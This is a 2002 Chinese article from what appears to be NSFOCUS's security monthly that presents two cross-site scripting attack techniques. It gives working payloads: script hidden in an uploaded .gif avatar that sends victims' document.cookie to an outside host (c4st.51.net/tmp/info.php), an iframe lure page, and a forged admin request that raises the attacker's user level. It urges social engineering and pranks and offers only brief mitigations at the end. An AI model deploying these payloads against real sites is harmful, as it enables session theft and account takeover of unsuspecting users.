首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第31期->技术专题
期刊号: 类型: 关键词:
跨站脚本执行漏洞利用技巧两则

作者:analysist
主页:http://www.nsfocus.com
日期:2002-04-18

谈到跨站脚本执行漏洞,想必大家已经比较熟悉了吧?这里向大家介绍两则利用跨站脚本执行漏洞攻击的技巧,当然我也会为大家提供临时解决方法。废话少说,下面我就开始讲。

【技巧一】
大家都知道文件上载吧?很多网站都提供了这个功能。利用文件上载进行攻击的方法很多,就不赘述了,这里主要介绍一下如何利用文件上载进行跨站脚本执行漏洞攻击。

我们还记得去年闹得沸沸扬扬的CrazyBird发现的IE的漏洞吧?原文可以从下面的地址得到:
http://archives.neohapsis.com/archives/bugtraq/2001-07/0675.html

明白我的意思了吗?我们可以在本地构造一个.txt文件或者.jpg文件,内容则可以是任意HTML代码,这样上传后,只要我们知道上传后的地址,让别人访问这个地址,就可以起到跨站脚本执行漏洞攻击的效果了,而且这样不必担心别人过滤含有“cookie”关键字的输入(虽然这是一种很没有意义的事)。

大家已经知道使用URL编码和重定向页面来隐藏攻击行为了,但是直接让人家访问一个带有很长查询串的地址是不是很麻烦?能不能利用一个看起来很正常的地址来实施攻击呢?这其实也是向大家解释如何进行上面的攻击。

我们都知道,正常情况下网站只能读取它自己设置的Cookie,这是靠域名来标识的。因此如果你想获取某站点的Cookie就必须注意对域名的处理。

还是举个例子吧,假设某站点论坛地址为http://www.xyz.com/bbs/,提供了上传头像的功能,于是我们就可以自己构造一个下面的头像文件:

thiz.gif

<script>
window.location.href=”http://c4st.51.net/tmp/info.php?'%2Bdocument.cookie;
</script>

这样,我们获得http://www.xyz.com/bbs/face/thiz.gif的地址,这样直接给别人似乎不好,随便找个别的什么空间吧,比如说http://www.abc.com/index.html,我们在index.html页面中嵌入下面的语句:

<iframe src=” http://www.xyz.com/bbs/face/thiz.gif”>        //可行性有待验证,这里主要是介绍方法

让别人访问http://www.abc.com/index.html是不是更好些?至于别人是否去访问,就看你社交工程学水平了,不会还没毕业吧?:P

注意:如果主站和论坛在不同服务器,即域名不同,而主站某脚本存在CSS漏洞,论坛存在上载文件的问题,要想获得主站的Cookie也是可以实现的,不过头像文件就需要修改一下:

thiz.gif

<script>
var url;
url="http://www.xyz.com/index.asp?id=%3cscript%3ewindow.location.href='http://c4st.51.net/tmp/info.php?'%2Bdocument.cookie%3c/script%3e";
window.location.href=url;
</script>

其它部分类似。

【技巧二】
很多人都认为跨站脚本执行漏洞攻击只能获得Cookie,虽然我已经不止一次的重复过了!:( 甚至有些程序员竟然在CGI程序中增加了过滤Cookie关键字的代码,我真是无话可说!下面我就介绍一下跨站脚本执行漏洞的另外一个利用技巧,同时也想让大家知道这种过滤方式多么幼稚可笑。

例如:http://www.xyz.com/bbs/index.asp?user=thiz存在跨站脚本执行漏洞,但是该脚本检查了$user是否存在Cookie关键字,呵呵。。。我们看来不能获取Cookie了,当然这里我们也不考虑是否可以通过什么方法绕过该限制。那我们是不是可以换个思路,达到相同甚至更好的效果呢?

我们还知道这里的用户是分级的,提升用户级别的脚本为:
http://www.xyz.com/bbs/upgrage_user.asp?user=thiz&grade=0&admin_name=&admin_pass=

显然我们要想改变自己的级别得知道管理员的帐号密码,我们知道管理员的帐号密码吗?不知道!但是我们仍可以做到这一点。因为我们可能利用Cookie,虽然我们不能获得它,但它就真真切切地呆在管理员的主机上。当管理员访问下面的链接时,一般情况下,用户thiz的级别就被改变了。
http://www.xyz.com/bbs/upgrage_user.asp?user=thiz&grade=0
因为CGI程序为了方便,往往在没有提供帐号密码的情况下,使用Cookie中的信息作为认证信息。现在你是管理员了,想知道别人的密码还不容易?!

当然,你也可以通过重定向浏览器来增加个人主页访问量,关闭窗口或者改变访问者头像之类的恶作剧,不过不要太过分!:)

【临时解决方法】
对CGI程序员我就不想说什么了,注意检查所有用户输入,确保都是合法数据即可。说起来简单,具体做起来就困难得多,好好努力吧。

对于用户来说,除了以前说过的关闭JavaScript支持之外,在遇到比较可疑的地址时,可以换用其他浏览器(如Opera)看看HTML源代码,确定没有问题之后再访问。

写得比较匆忙,难免有很多错误,欢迎来信指正!

版权所有,未经许可,不得转载